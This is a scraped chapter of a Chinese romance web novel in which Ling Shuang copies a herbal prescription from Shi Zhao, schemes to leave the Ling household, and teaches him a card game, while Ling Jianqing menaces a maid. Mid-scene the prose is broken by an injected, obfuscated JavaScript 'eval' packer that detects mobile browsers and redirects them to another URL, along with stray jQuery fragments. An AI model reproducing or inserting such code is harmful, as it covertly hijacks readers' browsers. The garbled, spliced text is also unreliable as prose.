默认冷灰
24号文字
方正启体

4. 第 4 章

作者:今寺本书字数:K更新时间:
    凌霜一夜未有好眠,翻来覆去的睡不着。


    到隔日,醒的晚了些,还是陈妈妈来喊,她才急匆匆起来的。


    今日得去寻施昭,将新药方抄下来交给府里药房。


    凌霜一早上梳妆打扮,临了挑衣裳,在一溜暗色衣裙里,又选了条平日里不穿的粉白色衣裙穿上。


    揽镜自照,她望清自己略有几分心不在焉的脸庞,补了补口脂。


    镜中反映出的女子面容,只可评上一句清秀,一双内勾外翘的凤眼尚算灵动,顾盼之间,因她本性,显出几分俏生生的倔强活气儿。


    她又想起施昭和凌渐青。


    这两个男子的美貌,都远在她之上,尤其是施昭,几乎是世间不可存在之美,凌渐青生性恶劣,从没有将她放入眼中,大抵,也是她自身诱引不足。


    毕竟相貌是如此的重要,就连凌渐青此人,都比她更美......


    凌霜咬了咬唇。


    ——可她如今,只想离了这凌府。


    带着几分心不在焉,凌霜一路略有抵触,到了施昭如今所在的惊春苑。


    却没想,他正在凉亭里等着她,见她拾阶而上,与她点头:“凌霜姑娘。”


    “施公子。”


    到底喊不出施昭二字,凌霜坐到他对面。


    “药方拿微炙赤半两,当归去苗,微炒,一两,茯苓去皮,白者,一两,芍药,一两,白术一两,柴胡去苗,一两,先服用为病者调养脾虚。”


    “好。”


    他开门见山,凌霜晃了下神,忙低头去记。


    今日她过来的早,气候还并不太热。


    这惊春苑内常有鸟鸣清脆,施昭今日依旧穿白衣,腰间与发间都佩戴银铃红线,他正略微垂眼,瞧着凌霜记药方。


    “记错了,茯苓要去皮。”


    “哦,好,抱歉。”


    不知何时,施昭走到她身后来低头瞧她写,只闻他一身寒凉的花香,凌霜手里拿着毛笔,想要如昨夜凌渐青教她的那般好好写字,可笔尖不稳,眼睫也越发颤抖。


    写的字都比平常更像鬼画符。


    主要是,心中一时升起悔恨之意。


    昨夜凌渐青的妒忌,要她注意到了施昭,她想出凌府,眼下,施昭便是她能借力的最好人选,且施昭身世绝非寻常,便是凌渐青届时心有不满,也绝不敢对施昭有任何冒犯。


    可,如何要施昭一个外男,心甘情愿带她出凌府呢?


    凌霜是看过许多古言小说,又在此世间生活了数十年的。


    ——大抵,只有那一个办法。


    “凌霜姑娘。”


    他一向不带什么情绪起伏的声音要凌霜猛然回神,凌霜仓皇抬脸,施昭正站在她面前垂眼看她,对视片刻,凌霜正要说没事,施昭纤白的指尖便探了过来,贴上她的额头。


    “并没有发温病,”他看着她,距离颇近,凌霜只看到了他皮肤的白皙,与那黑到澄澈的,静池一般的眼瞳,“此处受伤了。”


    他指尖抚摸的,是半月前,凌渐青发病时误伤到的伤口。


    凌渐青偶尔会发头疾,极为严重,疯起来便会摔砸东西,那时她并未找回记忆,离凌渐青最近,又急于想要安抚他,才被他投掷出去的花瓶碎片误伤。


    “无事的。”


    凌霜慌忙捂好自己头上的伤,施昭却依旧望着她:“需要伤药吗?我来给你配药膏,晚间你过来拿。”


    他目光澄澈,凌霜看着他,忍不住点了点头,待拿着药方出门去,才意识到自己明日又要见施昭。


    *


    奄奄一息的流萤在琉璃瓶中落出一闪一亮的浅光。


    凌渐青斜卧在美人榻上,旁侧有丫鬟秋雪举着盛了汤药的汤匙,已经许久未动了。


    手臂早就酸了,僵了,却根本不敢乱动分毫。


    凌渐青垂眼瞧着手中的琉璃瓶,又摇了摇,里头的流萤几经微闪,继而,再也不亮了。


    他将琉璃瓶拿到眼前,道了句“无趣”,径直将那昂贵的琉璃瓶丢了出去。


    “......大公子。”


    旁侧,秋雪举着汤匙的手都开始发起抖来了,凌渐青眼梢微眯,朝她望过来,只见凌渐青面上带笑,斜卧在光影之中,好似一尊美艳的邪佛。


    “哦,都快把你给忘了。”


    他将汤匙与药碗拿到自己手中,轻轻搅动着,汤匙一下下磕上碗底,发出清脆的声响。


    里头,汤药是一贯的棕褐色,凌渐青道:“凌霜往哪儿去了,怎的今夜没过来。”


    秋雪心恨的咬牙,若不是凌霜没来,她也不至于要侍奉凌渐青喝药:“奴也不知晓。”


    凌渐青没再言语,只是一下下搅着汤药,忽将汤匙递到秋雪唇边。


    丫鬟抬头,只见凌渐青那双桃花目微微睁大了,眸间落着异样的暗光:“这汤药,是今日新换的方子吧?”


    “是......”汤药的气味冲鼻,丫鬟下意识屏息。


    “若有毒可怎么办?你根本没有事先尝过,怎么敢要我喝?”


    “怎......怎么可能会有毒呢,大公子......”


    “那你先喝呀。”凌渐青将汤匙递到秋雪唇边,他微微睁大着眼,唇上也泛出笑来,要人见之胆寒。


    若只是汤药,那自然不会有任何问题。


    但这汤药是凌渐青递来的。


    他会做出什么事情,一向无人知晓。


    秋雪僵持着,并不敢喝,可不喝,更是恐惧,一时颤颤巍巍,将要张唇,却只听一声轻响,继而,汤药溅了满脸。


    是凌渐青松手,汤匙直接掉进了汤碗里。


    “无趣的紧。”他将汤药随手扔到旁侧的茶桌上,任凭洒落,完全置之不理,在这八月的时节披上薄毯侧躺过身去,只留将要垂地的墨发。


    “若是凌霜,不论我喂她什么,她都会喝下去。”


    *


    凌霜正略有忐忑的坐在缠枝木椅里,望着弯腰站在自己面前的施昭。


    灯火微明,世间常说,灯下看美人,犹胜三分色,施昭在她面前,对一切无知无觉,只心无旁骛,在她额间涂抹上略有清凉的药膏。


    “多谢你,施公子。”


    “无事。”


    他将药膏拧好给她:“每日早晚各涂一次。”


    凌霜忙忙点头,将药膏接过,却坐在椅子里没有提出离开。


    施昭并没有理会她,只是独自坐到另一侧,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819653|190991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拿起医书对灯低头看起来。


    “施公子,索性今夜我无事,介意与我闲聊片刻吗?”


    凌霜走到近前来,她穿粉白相间的衣裙,梳垂髻,凤眼一弯,站在灯下,似只聪明灵动的小狐狸,这般模样,从前只有凌渐青偶尔能在凌霜心情好时看到几次,她从不常笑的。


    “我们来下棋,棋局由施公子来定,或是想玩其他的,骨牌叶子戏我都会。”


    施昭放下医书:“骨牌......叶子戏是什么?”


    “施公子不知叶子戏?”凌霜笑着点了两下头,“你且等着我,我回去将牌拿来。”


    因凌渐青喜好一切玩乐,所以凌霜房里恰巧有一套叶子戏。


    她将牌收好了,匆匆小跑回去,到施昭的惊春苑前,只见施昭什么都没做,只是静静待着等她回来。


    凌霜知晓的施昭便是这么一个人。


    他极为安静,又清冷,说话言简意赅,要人猜不出什么心思。


    她也知晓,这几日她与施昭有了几次接触,都是因施昭本性便是待所有人都一样的,平和,淡漠,平等。


    凌霜抿了抿唇,忽的,将一切都想通了,才拾阶而上,将一盒叶子牌搁到桌上。


    “听闻施公子聪明,我此次将您教会,若是您学会了,不知可否能听小女子一请求?”


    施昭正略有好奇的看着桌上的叶子牌,闻言,他抬起头来,也没问什么:“可以。”


    凌霜笑起来:“这玩法很简单,牌面分春夏秋冬四季,虽四人玩最好,但两人也能玩——”


    她将叶子牌拆开来,一一为施昭讲解,他果然学得很快,几乎凌霜讲一遍,他便明了了。


    “那来吧。”


    两人下起叶子戏来,他聪慧,上手又快,凌霜被吃了几次牌,抬头瞧他,他认真看着牌,生的一副仙人貌,这时视线却这般纯粹,要凌霜不免浅笑起来。


    动静要施昭一顿,抬起头来看向她。


    “无事,”凌霜笑着放牌,“我还没问过,施公子今年多大?”


    “十八。”他也搁下一张牌。


    “比我大,我十六岁,施公子几月的生辰?”


    “不知晓。”


    凌霜微顿,虽心有好奇,却也没再问了。


    却见施昭迟迟未放下牌来。


    “这时,我是不是该反问你是几月生人?”


    凌霜:?


    光影之下,与他澄澈目光对上视线,凌霜道:“我是八月十四的生辰,刚过去不久。”


    “嗯。”


    他似是一点都没有好奇,过了这个坎儿,便继续打起牌来。


    怎么总是觉得哪里有些怪异......


    凌霜略含不解,又望见他眉心那抹朱砂印,忍不住问:“施公子眉心为何落有朱砂印——?”


    话一刚出口,她便后悔了:“抱歉,只是对施公子好奇之处良多,并无其他意思,施公子不喜,不答便是。”


    她想起施昭对凌渐青的那句与他何干,想来,施昭是不喜被他人探究的,便是凌府的老爷想要为施昭的到来宴请宾客,大摆宴席,都尽数被施昭拒绝。


    只见他纤白的指尖扣在牌面上,“朱砂印是为压制心性。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)